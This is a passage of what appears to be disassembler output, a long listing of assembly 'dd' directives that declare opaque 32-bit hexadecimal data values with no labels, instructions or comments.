		dd 2230F780h, 0F259519h, 805D1ECAh, 60554D60h, 70E5E607h
		dd 940002C1h, 3F61D19Dh, 6DB7C2h, 456F1219h, 0C05927F1h
		dd 4D52E00h, 0EF84D80Dh, 0C61E00B7h, 8F2A3C4Ch,	85051477h
		dd 36F95449h, 8843BC04h, 99599890h, 58AC0046h, 335D30CCh
		dd 0F200C027h, 0B79214C9h, 0AD0C2Eh, 7A1E1B81h,	2A25A3ECh
		dd 0FFEF7900h, 594DFD28h, 57DC0078h, 0F4AA8DACh, 0C11FA309h
		dd 0B980F1AEh, 1349DA10h, 0A82F0348h, 557F3393h, 29DE30B7h
		dd 8700A9D5h, 803D390Bh, 209BBCCh, 0FCB456BEh, 68495F1Fh
		dd 0DEAFCC1Ch, 5528D572h, 121DF8BFh, 9FBDBA8Fh,	7AC09FF6h
		dd 0CB4433B8h, 420C119h, 20921D67h, 0D1003008h,	8DB721CCh
		dd 90C81860h, 0D2AA0050h, 0EDA57C4Ah, 36380705h, 926B007Bh
		dd 0B011240Ah, 3061F42Bh, 7530C7E8h, 0E002DC22h, 0B84B2823h
		dd 0B3046071h, 60B0229h, 7F870192h, 0E332A080h,	42E8C0F3h
		dd 5EDC2C00h, 64810E8Dh, 1580A079h, 7D0E40Dh, 846E9182h
		dd 0E0CE7A4h, 3A3C8900h, 36009D7Fh, 0F432A792h,	5E4D088h
		dd 2C5F7B06h, 41FD803Bh, 248DCF8h, 55A28088h, 121B6277h
		dd 3E8926h, 0A2EC6F5h, 57006306h, 0D367F668h, 0A60D164h
		dd 3245FAA6h, 126A01ECh, 0E8F99AE5h, 0EC5BBEE9h, 330128ACh
		dd 45C69BFEh, 34802039h, 0C7B2C300h, 15C14F1Fh,	97E90020h
		dd 98A60340h, 0FB002E27h, 28B9B6A7h, 3008DAh, 3C182B41h
		dd 2ED53603h, 6445C800h, 0C2F9C925h, 8C2D009Ch,	5BB73F7Ah
		dd 0E600D3CCh, 4C4B2B22h, 98A8DA7Ch, 0D1153D7Ch, 0A080C3BDh
		dd 214E29BEh, 7900E907h, 5EECF0CCh, 1D2FE19Eh, 3D5D6A46h
		dd 8C7CD200h, 8D1DBBDEh, 54020A73h, 0FF80E36Bh,	7BDE805Fh
		dd 0E01FE9h, 46ABEB34h,	52B3600Dh, 19028C90h, 303F1BFBh
		dd 59344864h, 13AE0045h, 0E085B16h, 61E8A48Fh, 0EEA77A07h
		dd 0E01EF604h, 6DC04B5Ah, 0F4900E9h, 0CE5D4C34h, 2100A14Dh
		dd 0B03F1567h, 398A7BCh, 65177B9h, 0D6CFB203h, 0CCF97822h
		dd 0E03271Eh, 0EE085646h, 1A180F68h, 1B213E57h,	52E5A79Dh
		dd 0D0088318h, 7425BF3Fh, 4D085707h, 4BD16E2Dh,	62EC8777h
		dd 63E8FF96h, 9B13007Ch, 0D4E02669h, 99614F51h,	443D9FF0h
		dd 0A4D025D9h, 0E4110053h, 1CF2FEAEh, 0BD60F362h, 33ECDC18h
		dd 0B12200A8h, 8D075179h, 0A607FB3Ch, 0B624E145h, 0C8A4B412h
		dd 49D52DF0h, 0A5019025h, 0E8DE4435h, 9F04D095h, 0D42DD314h
		dd 0B3A10010h, 3DF594A4h, 0FEBA05ECh, 0C0BC752Ah, 0B5467826h
		dd 0AB8C01Ch, 18A1DA00h, 50896Bh, 0F84B1324h, 931BE17Ch
		dd 97428303h, 0E08806A1h, 5CF6C35Fh, 0FA1C3CBFh, 66868091h
		dd 72A259A9h, 7894D000h, 0B7F33EDBh, 95EB3B7Ch,	15BAB01h
		dd 0E81CF7ACh, 0D80FD47Dh, 734A7258h, 347E0F00h, 3B88B097h
		dd 8C80A10Ch, 5027549Dh, 8064A9F4h, 0C08058A4h,	0E94207E1h
		dd 58694CE8h, 3E00FB2Bh, 3D53EA28h, 0A300E02Ch,	9F1B641Ch
		dd 5AA6D40Dh, 0A0A7C756h, 4277AB48h, 5910BE03h,	8125D1F9h
		dd 0CFFCFC12h, 0B00F504Ah, 8A830057h, 0E9EE287Fh, 0C0096EE7h
		dd 5A8D74h, 0EDFC8B77h,	422E07F6h, 50EEB055h, 18D8849h
		dd 0D72A2B00h, 916D9E2h, 0C2460036h, 983C7FEAh,	3B0E7577h
		dd 8002994Dh, 35956A41h, 7DC10E18h, 3800BBB1h, 864AA32Bh
		dd 222A3A00h, 69186F88h, 12531695h, 0F10800B6h,	9307E5Dh
		dd 7704965Dh, 627D1F12h, 2C15A840h, 0F5260C6h, 1EF1D387h
		dd 1773D9A3h, 0BF76D09Fh, 6F00A07Dh, 0BBDB04FAh, 366A85h
		dd 8E32D2EDh, 5A630780h, 3E728300h, 5D3C3A62h, 4FE57F1Eh
		dd 85BCC2h, 0F5FC1885h,	5BB17631h, 8CACA5h, 0ABE6EDD4h
		dd 517E741h, 201BE8C8h,	251080DAh, 52078E93h, 9B4EE2AEh
		dd 1DD2F461h, 92C896D8h, 0E72B0254h, 8475BF12h,	0CAEF9090h
		dd 0B40180BAh, 6B809E16h, 11C807F5h, 419D0492h,	0A02E7E97h
		dd 6F3AAA80h, 0C31D0002h, 8C29FB1Fh, 254E0738h,	60D56B83h
		dd 6F220BE2h, 0A8461300h, 6C7D66BFh, 0C3894C45h, 0D76EF703h
		dd 1E03136h, 3B00D89Fh,	993DCC73h, 77256CC7h, 0FBA00F92h
		dd 0DC40798Bh, 8F6D3F9h, 0F207AFE8h, 40BBE2F4h,	0B42DAAD0h
		dd 937964h, 0DC678D16h,	4908BA75h, 6BBCA514h, 62AD009Ah
		dd 5B7150C6h, 131A00C3h, 0F09AB3E8h, 51003B1Fh,	4C62B99Ch
		dd 0E18A84h, 44F4B678h
		dd 0EA5FA7FCh, 0C0BFEF03h, 0E853B7E8h, 84BB34h,	58A47526h
		dd 0E52C86DDh, 628B520Bh, 95DD0099h, 1F1319h, 0EC81EAA0h
		dd 0DC48BB84h, 0EBE8AA1Eh, 36E6D240h, 8F9E0Ch, 890E374Ch
		dd 6EC3AF91h, 4379A900h, 553BBEE3h, 2EB501C8h, 0FCAACC04h
		dd 0E0A7CC98h, 0CD7AA903h, 0AEC5C9h, 645E1168h,	417B3E76h
		dd 0E7262200h, 779C1754h, 37D90C6h, 270BB8Dh, 29B87E5Fh
		dd 4100F527h, 6C3FB3DDh, 1468D346h, 0C4D7B993h,	0BF00263Ch
		dd 805AAE3Dh, 0BE00C94Ah, 0B57CE52Eh, 0C1871Fh,	4F0FC2D5h
		dd 1E07850Eh, 55F55B0Fh, 0E28E4017h, 2AEE50C1h,	0EC5FF8h
		dd 6FBA4633h, 3D278267h, 7D2E7000h, 0B589D3B4h,	0F8A514BFh
		dd 6F00982Bh, 8CC5E93Fh, 0BC00136Ah, 0FB7F6133h, 3B0A2894h
		dd 65005371h, 8EC7D18Ah, 2A0D58CAh, 0F161819Bh,	2CF0F361h
		dd 0CBEE004Ah, 0FC5D7096h, 0D5000DC9h, 0CA1B9F4Bh, 0A260B7h
		dd 39AD98A4h, 3F497809h, 35F71A24h, 0D3221400h,	770C63h
		dd 0BBF08B4Eh, 0D746C88Ch, 0EA0D7000h, 3DB43993h, 0F6A0003Ch
		dd 0F9F8BFADh, 580736E4h, 13E9456h, 63199750h, 485A0026h
		dd 0E37832D7h, 0D1F6088h, 8F40D680h, 0E6EB9ECEh, 20B042h
		dd 0F6A24E1Bh, 7EDB8183h, 93016390h, 3ED87DB0h,	0DDF02E97h
		dd 88B3283Dh, 177E1E94h, 4A630119h, 0F00DB5D9h,	6100ACE3h
		dd 6DFF745Fh, 185A4A5h,	98C3F3EFh, 0E8E37379h, 550F63EBh
		dd 5FA8F98Ah, 6E9700FCh, 0A645FF46h, 39A0C710h,	1E8FA013h
		dd 7148DF56h, 0F03A00AEh, 3209C553h, 3B3D7373h,	0E12A6020h
		dd 178A00DCh, 0E4753B13h, 6E17042Fh, 0E4007D92h, 87F55ADFh
		dd 83120F2Ah, 0A365EC0Fh, 722C8021h, 3528E24Eh,	30000C14h
		dd 2DF93AD9h, 6F68757h,	0FC9AC21Eh, 670F2146h, 60614EA5h
		dd 9105A832h, 0BA18C3EDh, 56C7CE57h, 7F3C9020h,	7B90802Ch
		dd 481A7885h, 70D94933h, 0B2F44604h, 0DA04C028h, 9C77C5ABh
		dd 7EA68D01h, 423A61F2h, 1F9F70h, 60B22C98h, 9DBCCD0Ch
		dd 0F081C200h, 6592B780h, 0F618902Bh, 7DF04Ch, 4DC8EECh
		dd 0DB8C72B3h, 17F6B01h, 0BB221136h, 0C3BCAC40h, 0BAAC2404h
		dd 5A1A008Ah, 0A57FDF40h, 0BF24D600h, 0CA76444Dh, 0EFA700C2h
		dd 8BC0DCABh, 0C1133350h, 0AA00C459h, 65277FCCh, 0CAB0191h
		dd 90D1D849h, 32DAE01Dh, 0B5959C03h, 0D8646C28h, 0F4BF081Bh
		dd 0BA7A0336h, 9EEEB952h, 33D7F7A1h, 0E2FB8014h, 0D0A0ABh
		dd 9E1DB3C1h, 0CB4B9150h, 0D78CC800h, 0A2391C5Dh, 89130086h
		dd 0FCBF321Eh, 0E6002321h, 789377F1h, 0F68EA0C5h, 73461F11h
		dd 1843C76Fh, 61C2D0A8h, 4400C4D5h, 17A1F3Dh, 0A016B789h
		dd 0C73EB0h, 86C59D3Bh,	7DBBD051h, 58D6E607h, 0DCE0194Eh
		dd 0E894CE7Bh, 0FF77CE9h, 60E69606h, 662C4D40h,	0B0150CFh
		dd 8FCCF230h, 0B6EC9CE4h, 0AA810924h, 30013693h, 0A238B3h
		dd 0EED1E6h, 59A33B3Eh,	6CEC422Ah, 5F14FF02h, 0C07805FDh
		dd 0CA81F5Ch, 4B22B327h, 230081A8h, 0CDA1DD5Eh,	0C06428h
		dd 3E3BA378h, 0E1F774F6h, 0F452C700h, 5339BAF0h, 3DBC0508h
		dd 0C0A90CD7h, 21DBB56Bh, 0D4B0CB00h, 7BABB244h, 0C81213FAh
		dd 0C3EE0073h, 0CE9AF1A5h, 27921B12h, 3CA4AC40h, 0F7523E84h
		dd 88131081h, 0E4275A1Ch, 0DD60A7C8h, 3BBF2828h, 160AF6B5h
		dd 407B6808h, 1B01F240h, 0C7186225h, 0D8082353h, 1C7852h
		dd 0CAFA5A4h, 0ACC0951Ah, 681E8498h, 7ED663h, 87996BD2h
		dd 15E08ECh, 128F698Ch,	0F4067827h, 0A4E4AC5Bh,	0C81A40B2h
		dd 389D138h, 0A17A21E4h, 0F0D8BD1Bh, 52E403BCh,	12CB40FFh
		dd 251D187Eh, 1D4787EAh, 92C0DB2Bh, 73D472C9h, 6308285Ah
		dd 0D9964860h, 66EFC70Ah, 80704580h, 7D721424h,	55293Bh
		dd 0CE91172Ah, 7EB258h,	6071AF70h, 0DBF74072h, 5E20707h
		dd 0C7F02A41h, 8EF322h,	0E190F070h, 0E44788AFh,	0AED29100h
		dd 0B622A318h, 1BD70081h, 82A4E07Dh, 0EB00CD41h, 2C49A89h
		dd 38818D17h, 0CF80E3B4h, 0BE4B5E19h, 43246CFEh, 0F20030EFh
		dd 9827C9C8h, 258706A6h, 0D0AC8870h, 0B67E5B00h, 69B0CE4Ah
		dd 9EB857h, 7C60A8D8h, 0EBD286BAh, 4AE1200h, 5F75F3D3h
		dd 0A8FB0688h, 0A8559E71h, 68FE3400h, 5EC55008h, 709B00C2h
		dd 8C539378h, 47020AC4h, 1AF357C6h, 0A7C6C071h,	0E84303ABh
		dd 0D7DE5B53h, 80F5D388h, 0A301CF76h, 9EC7B7E3h, 8C30D22Eh
		dd 0C66A00A1h, 0EE7F803Ah, 0F7005DDEh, 0E5F2D93Eh, 2EFB119h
		dd 0B37969D5h, 1C60B576h, 250095E8h, 0D7B0825Eh, 0B838E64Dh
		dd 0D4A703D2h, 0AEC8A6BDh, 0B210D0C7h, 69032B5Ch, 0DA5EAF1Eh
		dd 791F0DBh, 900E00C4h,	0DC87D503h, 0B25C05BAh,	0F2EC13F7h
		dd 331EEC00h, 7676D249h, 588700FAh, 0FCF479D3h,	110ECDA5h
		dd 96A6AE3Bh, 76EC00FAh, 9694F80Fh, 653D90E2h, 0ECE50BB0h
		dd 0DA3C80B6h, 12348D15h, 40A64D49h, 0C2E1FBB0h, 0CAF2CF51h
		dd 0B9705B18h, 18719756h, 0E83A9F20h, 9B13839Dh, 6ABBF77h
		dd 412C15ABh, 0C1E1E600h, 5381E2C6h, 5A0F0777h,	605157C8h
		dd 7C141621h, 6A0F2DF8h, 4202374h, 0E0C9BFA1h, 6733D800h
		dd 286E4D83h, 89E4AA0Fh, 0DEDCA9E0h, 1000F587h,	9594123Dh
		dd 1D59D832h, 4842EAh, 0FA412161h, 7200AA8Bh, 0B5DE5FDBh
		dd 0CAB522Fh, 0DA37ACE8h, 580173AEh, 28E30281h,	0D0806529h
		dd 0F455FF3Ah, 51E2C011h, 3B98450Fh, 2A732064h,	44A484FEh
		dd 7E0020C8h, 4A22B99Ch, 0FF93E8Fh, 0E8EFFDCCh,	32EDC780h
		dd 200EF2B7h, 0CC5C5472h, 5539BEh, 3C68DAAFh, 223E880Bh
		dd 0F476C107h, 0C0F0FF3Dh, 3E400767h, 3B808446h, 684D9ACCh
		dd 6F00B8DAh, 0A4183231h, 9234BF58h, 0A7114FCh,	700D243h
		dd 0B7F8B833h, 0AB0129E8h, 0D80886CFh, 2DC47674h, 1E140FC4h
		dd 0D9402CB5h, 25D193B2h, 18905B3Ch, 0F4585397h, 50BF00DEh
		dd 0CA3926F2h, 0D54DAC75h, 44EB1468h, 2E718088h, 898F68h
		dd 10DA7F09h, 83B7B870h, 71E97260h, 70AD1B1h, 6C78B59Bh
		dd 0C54C6084h, 0EE591A56h, 82B801B0h, 36D46FEAh, 84802020h
		dd 0C5001C98h, 17FFC68Ch, 7B66Ah, 5712FEE6h, 0C227E034h
		dd 9C415C39h, 517069A3h, 163EFAh, 7E3A11B1h, 0E8D2073Dh
		dd 9D557400h, 1775FF23h, 0E5B7327h, 0D5882831h,	0C0DD4C8Fh
		dd 0AE4DE87h, 40057A2h,	96058671h, 0EE5AA470h, 8B9F0024h
		dd 0E406F94h, 300B1FE5h, 0A53D7CA5h, 64C55150h,	0DE135080h
		dd 1C4B0F1h, 7D5E0328h,	0E8C386E3h, 66003E41h, 149375D5h
		dd 8A3D94h, 2B8C954Eh, 0A1F5DD73h, 0C74F0800h, 4B0F9A56h
		dd 31116031h, 0D90267E2h, 5F696100h, 0D1070E36h, 0AD410006h
		dd 0F637FAC8h, 89005723h, 98CEC3B8h, 0B8CA2414h, 96953C35h
		dd 0E10B1000h, 27A5C618h, 996C1200h, 0BD6B41B3h, 193A00D0h
		dd 0FD765988h, 4602CAA5h, 0F5922672h, 8E67E108h, 3B48CC50h
		dd 0BEB403F6h, 993D379Ah, 114F35E0h, 4B121001h,	8F20B7C7h
		dd 0C9F874h, 0EE176CAEh, 625BD02Ah, 0E60F0E0Eh,	0A2FAA04Fh
		dd 28A6E1Dh, 85D89D77h,	0D660ABAFh, 0B912B6A8h,	3CC67D91h
		dd 0F49000A2h, 33370F97h, 4B1DEBAFh, 0E60655CCh, 0E016AAh
		dd 85546871h, 0CD5FAC73h, 0BD1DD212h, 77845C40h, 2E3594h
		dd 9DA3916Ch, 40344395h, 0CCBA1E00h, 0A22F688h,	0F8C54CB1h
		dd 0F0DEED01h, 80C4A983h, 34F6DB10h, 1CFEE706h,	8952801Eh
		dd 4C8061B3h, 0A014BD1Ch
		dd 83B92503h, 9830F050h, 12F826D7h, 7874E47h, 706CD54Ch
		dd 8978D1CCh, 34B2000h,	69687EB6h, 0ECC10C81h, 0F5040E0h
		dd 0ED799A09h, 12842F8Ah, 404568C8h, 0F33BDAC1h, 85B30010h
		dd 4B55649Ah, 4F22C418h, 0BF5CB0ECh, 2C40A30Fh,	0F28C61E3h
		dd 94401F03h, 630F59h, 0FD36AC1Dh, 8BEE5AC2h, 9C1C6A72h
		dd 0C983AE40h, 0F0666B5Dh, 5872E69h, 0AA1256CAh, 0AD9A005Ch
		dd 1F683C7Fh, 5EB63Ch, 6A15D184h, 38D7767h, 2A895A2Dh
		dd 0E6D810A8h, 0A60EB319h, 6052AB6Eh, 2B8E76BFh, 471E0030h
		dd 14719E41h, 560319A5h, 3DA9C94h, 4915A845h, 0A4480079h
		dd 18145A4Fh, 271C6B40h, 51EEECB5h, 558AC900h, 3ABBFD4h
		dd 295F57E9h, 200F558h,	0EA9940B9h, 0BB47ADh, 0DBF1895h
		dd 76F9D629h, 11CF8400h, 92A1C71Dh, 44D20FF8h, 8E5CC316h
		dd 0B4207C13h, 849D6494h, 0FA809300h, 33CD7152h, 0BE5703Dh
		dd 724A7837h, 62CBC4A7h, 0B8800A9Ch, 6E0FF260h,	391B5F16h
		dd 64F74000h, 4D5644D3h, 6A010830h, 50349281h, 787C702Eh
		dd 2D49B016h, 8DF7D600h, 11AFEF2h, 10C77223h, 726BF03Eh
		dd 439E01F0h, 8483AA7Bh, 1410F9D4h, 1068F041h, 92890812h
		dd 0BC012E10h, 571BF27h, 500805D0h, 30F0105Dh, 9A391AFCh
		dd 10EA5B74h, 68016B74h, 362EC886h, 0B660582Fh,	0AFAB0E9Ch
		dd 1D601A0Bh, 5BC609BEh, 0B8FA380Fh, 0DF576042h, 0C239F8h
		dd 7B668488h, 642CC563h, 9E4AB81Eh, 10F0A5BDh, 603CE754h
		dd 52238843h, 0DE3002C7h, 0A43D29A6h, 0EC1B257Ah, 59ACF422h
		dd 2503A852h, 9D53C76Ah, 20DCA06Bh, 702700BAh, 7214A4DBh
		dd 2602E2ADh, 9C6B57DAh, 785171h, 15020F1Ah, 0B11DF82Dh
		dd 0A80051E2h, 0CE411374h, 461C48C9h, 35E86B03h, 5CA8C36Eh
		dd 8A4C9D02h, 77CF1DD9h, 0DADE803Bh, 0F185A8D3h, 757900C9h
		dd 9EA3613h, 0D2052D4Dh, 21EB6CE7h, 839A8100h, 0B79879h
		dd 3D857E0Ah, 27ADC677h, 0A40D9707h, 0D882EBF3h, 35E5CB4h
		dd 0DD0BB962h, 0EABEEEB8h, 800785EAh, 9BD3FE55h, 0BDB63840h
		dd 65B80023h, 8220C70Eh, 0A4009A5Dh, 5AA460Dh, 15AEC624h
		dd 98A167F0h, 66348002h, 305822DCh, 8C93AE2h, 0EFE46074h
		dd 4466003Bh, 1A8C2C65h, 7F28AC3Eh, 42ABC4Eh, 400ED824h
		dd 82435850h, 0A029266Dh, 0DB9D9ECCh, 4078D8A7h, 138116F0h
		dd 67D219Dh, 1126C6B1h,	60D6B300h, 8454A43Ah, 0DBAC1D7Bh
		dd 21AF1883h, 61012EE6h, 29311512h, 0A3E4EDC1h,	1992C143h
		dd 0DD241076h, 0E26180ADh, 0D97B6B61h, 5F72053Ch, 17DAFC0h
		dd 0A5C450F8h, 0FFBC7090h, 2D1E7B2Ch, 0CE9E4C05h, 0F4129001h
		dd 0B8A0A952h, 0CAFE00B6h, 623958AAh, 963D7848h, 0B7F979Ah
		dd 0BEF000AAh, 20ECA894h, 0FF00B7E6h, 702ED231h, 0FCF1D65h
		dd 35A7B2F9h, 9216F5C0h, 3CEE3A0Fh, 8C632800h, 5009CD85h
		dd 0E04E00FCh, 1F0CFA6Eh, 933B9F66h, 0DFEA80C9h, 63AF4827h
		dd 1321004Eh, 0BB38B005h, 8BEE3387h, 0B69F4C00h, 0EC3E66FEh
		dd 650F1EA1h, 412AC7EFh, 9662D044h, 0CB00A348h,	2656EDF3h
		dd 0C74045h, 0B2061D5Dh, 280BF788h, 0B50DB000h,	0E64C2217h
		dd 0EA813FD7h, 7FD8FC80h, 5609AA14h, 9728487Fh,	3000DB37h
		dd 59872411h, 0A7C08Eh,	1C53985Eh, 6049B74Dh, 0DFA63601h
		dd 0FE3E21B9h, 4E289D4h, 57CB9A0Ah, 678C0B2h, 8500911Fh
		dd 9055FE2Fh, 1E313602h, 96C747h, 97E86FE6h, 0A7029916h
		dd 2841E7D7h, 2283C0F2h, 936B00C1h, 30CD6E4Fh, 0FC0171CAh
		dd 2F1C7399h, 0CA80D9C6h, 6A7BFD8h, 2B000AD7h, 0F802890Dh
		dd 5D15E8h, 0B1E5AAA0h,	9FC48424h, 0B2CC5002h, 5FC7873Dh
		dd 7502C080h, 1F0CBD69h, 5AEF924Ah, 0A5E500B7h,	8350565h
		dd 0D91F37CEh, 0D440EAF0h, 18505117h, 0EC5D0A74h, 3FC54BF9h
		dd 10B70667h, 3396BEA5h, 890B7575h, 43F473h, 0A6AC2108h
		dd 0C33900AFh, 6CF007EAh, 1A00E966h, 109BB75Dh,	2475F6E7h
		dd 3813DBABh, 81D1C380h, 0B9BF9135h, 0DAEDB601h, 886B3CEAh
		dd 574B5880h, 0B0119399h, 816E4D3Ah, 0EF97655Ah, 82D4EEBFh
		dd 0BD490352h, 98012619h, 4B134000h, 18EC0370h,	775D0FF8h
		dd 520F5B9h, 0FD7DE9EFh, 1471700h, 0CDB645B0h, 0A7E0006Ch
		dd 51CFD31Eh, 9B7FBB35h, 0C727A100h, 0E09D250Fh, 0AF74F6h
		dd 0E3A89711h, 455CF480h, 0C346EF00h, 9E8413E6h, 0C2A503DAh
		dd 0A1636212h, 44EFB390h, 7C1C8E70h, 0D1809F80h, 0FB1CCC9Eh
		dd 22330264h, 0F4838A11h, 75B4B881h, 4E12DCCBh,	0FE153E00h
		dd 0FA2CD3BBh, 2D1800C0h, 0C854F896h, 5500EBF7h, 89B533BCh
		dd 7B2510h, 2F35236Eh, 98533731h, 3B02E700h, 0DA8B47Ah
		dd 0BEF43876h, 8B3DF200h, 9C2B01EEh, 0ED00BA7Fh, 0C4E03F11h
		dd 73346415h, 0ECBB00AEh, 0C353CB54h, 7146E4Eh,	0AC96DFh
		dd 0E4019734h, 0DCB5A6h, 0CBA23A29h, 4AF647Dh, 2B33CA00h
		dd 0B7D9B316h, 22530F1Ch, 0DA20C9A0h, 883752B6h, 0B895FA12h
		dd 0AAA10400h, 720F20Ah, 5118550Eh, 0BA3F8005h,	31000DADh
		dd 3B6E7E48h, 0F2132Eh,	902FCC7Ah, 57A837E7h, 450020FAh
		dd 3222FF7Fh, 0DE169Eh,	1AAFC93Ah, 8FCF7C0Bh, 9814BE74h
		dd 2F8A12Ch, 290C4B51h,	38A44073h, 0C5F90021h, 8CC17B5Fh
		dd 0B8C40D8Eh, 5490EC9Ah, 30853667h, 2330F94Bh,	2F0F3974h
		dd 0A0B09CE8h, 0D83D789h, 0F3040072h, 0ED3319B9h, 0B05A30Fh
		dd 7130393Ch, 0E2215D80h, 0A1D81259h, 0D4684086h, 0DE1D6F9Eh
		dd 0AE5BC500h, 0FF5897E3h, 0D8EB13E8h, 8A442889h, 4F8E03Ah
		dd 0F10A611Ah, 145F8283h, 9C561698h, 1BA2CD00h,	2CE7E675h
		dd 0B03F4601h, 0C5B17258h, 5B61A440h, 35E0A0B7h, 433E05E8h
		dd 0F3554Dh, 16D3BED0h,	0F714C74h, 0F0109D24h, 0BFA5D103h
		dd 87F2D8EBh, 0CE42036Dh, 0EF753DCCh, 24284F91h, 2E00BCD4h
		dd 248D7199h, 0E8DDAE85h, 0A681F60h, 9B8404Eh, 0B32631FBh
		dd 9A481F00h, 0B101CE7h, 574958E9h, 0C919800h, 53756305h
		dd 0A0901750h, 791D0B00h, 0D37D6C56h, 3EF500C9h, 0B7A465FAh
		dd 551D6492h, 1C04054h,	0CD0AC62h, 0CBBA00D4h, 3C181E61h
		dd 0E40B4915h, 8095DDD8h, 0A80CF04Dh, 9633000Ah, 99AE46A0h
		dd 3700AAF7h, 0ADA4CE5Fh, 4E8126h, 4D77BDD7h, 4FA97D7Ah
		dd 0D8483Ch, 4A013260h,	0AA3D4h, 3D2A8269h, 6297CBA1h
		dd 80C89A39h, 68811602h, 31F175h, 0A7C1DFD1h, 4576D359h
		dd 6A219900h, 0EED8DCC2h, 0BE55008Eh, 8D231777h, 0D9040C41h
		dd 0C01E97DFh, 0BF873C80h, 0B55C311Ch, 6B4FD432h, 7AEADF00h
		dd 3D5B13F9h, 0A83E586h, 0E68ADA25h, 8DD167A8h,	0C7680700h
		dd 0C5C4F7D7h, 42C20045h, 86E68770h, 844C9998h,	15AD0016h
		dd 0B15C88A0h, 4DFA0293h, 0D4F56392h, 8C9BA440h, 2DBF7D02h
		dd 68E7D82Ch, 18183AF8h, 0F8316CCEh, 50007CDBh,	0F83D0E6Ah
		dd 965FDFh, 8075AC11h, 0EC4934D9h, 0DE526501h, 0CB7BF472h
		dd 28E3330h, 7EFD75B5h,	5C439C18h, 80D7BD82h, 8B4D5E20h
		dd 4463011Bh, 96DDA06Ah, 8D41815Dh, 8E9B6EF6h, 8C401C35h
		dd 2650C81Ch, 6FE31Bh, 0A91978B7h, 0F2735AEFh, 0B0831100h
		dd 5152DF46h, 53790D2h,	0A09B480h, 8A800A1h, 14469207h
		dd 0D7CADD00h, 0F390F798h, 0D3790E44h, 0A740A69Fh, 0DDF5EE42h
		dd 0FB207001h, 0E8640E60h, 0F4252420h, 75721245h, 30140D02h
		dd 28502260h, 0C90D6E6h
		dd 423DF705h, 0B4008E62h, 31A9BC0Bh, 61BB0044h,	3DD635B8h
		dd 3F01DEA6h, 0FE68D414h, 92C1D7DCh, 0BCA73080h, 868A9625h
		dd 0F9C5DF3Eh, 0F3E83F00h, 0CC3B5B21h, 0AD7B8Dh, 3C472D03h
		dd 51DF1AC2h, 0A297D403h, 0E8A5F8F0h, 0C10684h,	0C4E21B7Bh
		dd 8528B766h, 3B5CCB00h, 95EDC5C0h, 0F1C204E7h,	83B2EC7Dh
		dd 0C8B8031Ah, 2824600Ah, 0A2044847h, 38D09E11h, 2FFA35h
		dd 63CD3F06h, 29DEBD67h, 800F075h, 0B4334A2Eh, 0CCA1B6Ah
		dd 52A4D377h, 8F7924CEh, 0FFE57B00h, 2AE24F3Ch,	0CC9B0B11h
		dd 0E080224Bh, 88A932A4h, 0B07E9C00h, 0B8F2914h, 0F15850D4h
		dd 18B60350h, 0FDF4A53Bh, 0CC6BF0A0h, 80C6723Fh, 0E1FDF38h
		dd 0AC062Ah, 0B6234666h, 6AABC0EFh, 0BD34E302h,	609E0B41h
		dd 4E77470h, 0F644DACDh, 0C484C45Eh, 0C398806Fh, 29002E63h
		dd 41A558BEh, 24195CBCh, 8BB8AD94h, 260780DEh, 0E30CF0DFh
		dd 6570997Dh, 68765Ch, 0CD90A84Ah, 5806C345h, 0C7012477h
		dd 0E2C61361h, 69119017h, 315EE11h, 0B5B812F1h,	83FA90B9h
		dd 65103E6h, 2EA07810h,	0E51F3588h, 0BC687D00h,	38AD0DCEh
		dd 0BD56098Bh, 0D00FE1F1h, 61878F0Bh, 0C84C40B3h, 0F2E99740h
		dd 50EF38A0h, 87008E5Dh, 4438306Ch, 90B4A08Fh, 366503A8h
		dd 0BBE44C64h, 80F854D9h, 0E0DE5F48h, 80690E1Dh, 0AFE0E610h
		dd 2800089Ah, 467B0943h, 1486AF4h, 0F202A4A0h, 60CD9552h
		dd 0AA131077h, 0E023ADAh, 60F32746h, 24B1630h, 0F818C7Eh
		dd 0F540E2A9h, 0CB002A1Fh, 76FE39E4h, 264826EDh, 6EB8D9h
		dd 0DF96380Dh, 991EB69Ah, 4E808043h, 0FFFBBCE7h, 0F90B01BFh
		dd 8517C4DBh, 30C6E97Eh, 10E49A7Bh, 0BE052CF2h,	0B32A6896h
		dd 1F535D80h, 0E2B7006Eh, 0B5E5748Eh, 7D009AC3h, 4686B3BCh
		dd 0F6C059h, 7EAED6E1h,	0ABDAE25Ah, 0C585DD00h,	1A50CB90h
		dd 30930153h, 98BA17AAh, 70E2DC81h, 6A261900h, 3D5E9BB5h
		dd 97ACA8B6h, 0B3D000BDh, 696B1F38h, 8CCEF40h, 387921C4h
		dd 9700D0B5h, 0BC1CB99Ch, 0FA054B86h, 6B27BB29h, 0DA90BC40h
		dd 1DDEBFC5h, 0F9A22662h, 0CC1B4100h, 17835A38h, 0AEA1DD00h
		dd 494694DEh, 70BC0C47h, 3D410BC4h, 8A71B860h, 0FCFAD9CEh
		dd 60A804CBh, 90224513h, 0BAE31C14h, 9003F7Dh, 0ACA07EEAh
		dd 0BE6BDFh, 1592483Ah,	9B687F1Ah, 80B2C631h, 0C25D085h
		dd 31A247C4h, 3A20C442h, 35906BEh, 3B40C510h, 0EE08B31h
		dd 2DE5C60Ah, 0F59B0024h, 0F286F199h, 96702C69h, 722C0CFBh
		dd 0C801C5C9h, 0B85DD1B0h, 3084ADFCh, 6988F9h, 59295B8Eh
		dd 7A0C0057h, 4897AA3Ch, 0A238B6E7h, 0E4F00013h, 776CA64Ch
		dd 1C783Ah, 5A867D60h, 2590205Bh, 1B3E3D00h, 0D61617F7h
		dd 3087006Ch, 367BDBDEh, 2B077161h, 4E29D299h, 0A41FC340h
		dd 0CB640058h, 0E49BCE2h, 0A7E046E3h, 198C0B00h, 9B72506Fh
		dd 17130FDAh, 96D8F0h, 5F5EC1CCh, 7000BFAAh, 1AEAB0E5h
		dd 0E08B3346h, 81F80019h, 0B1AF0A57h, 7A01923Bh, 94D1BE5Ch
		dd 4180C828h, 0F1527D43h, 60030C23h, 0FC0B1161h, 9736C835h
		dd 67B50FB7h, 140E210h,	52D3C963h, 12290200h, 233692EBh
		dd 2B610365h, 0C193E8BFh, 71A96000h, 0C6963E9Eh, 6DE9003Bh
		dd 0E2C6501h, 4A01EC35h, 758C0497h, 7880F4BAh, 9889B816h
		dd 9B00D80Eh, 0B41560F7h, 3E9C7E7Ch, 0FF700C24h, 2FD71980h
		dd 0DEBB2B28h, 0FD8D121Fh, 0A79524C5h, 0CED6B200h, 26829730h
		dd 393BC413h, 3B924200h, 453AD81Eh, 54CD1400h, 7C4B462Eh
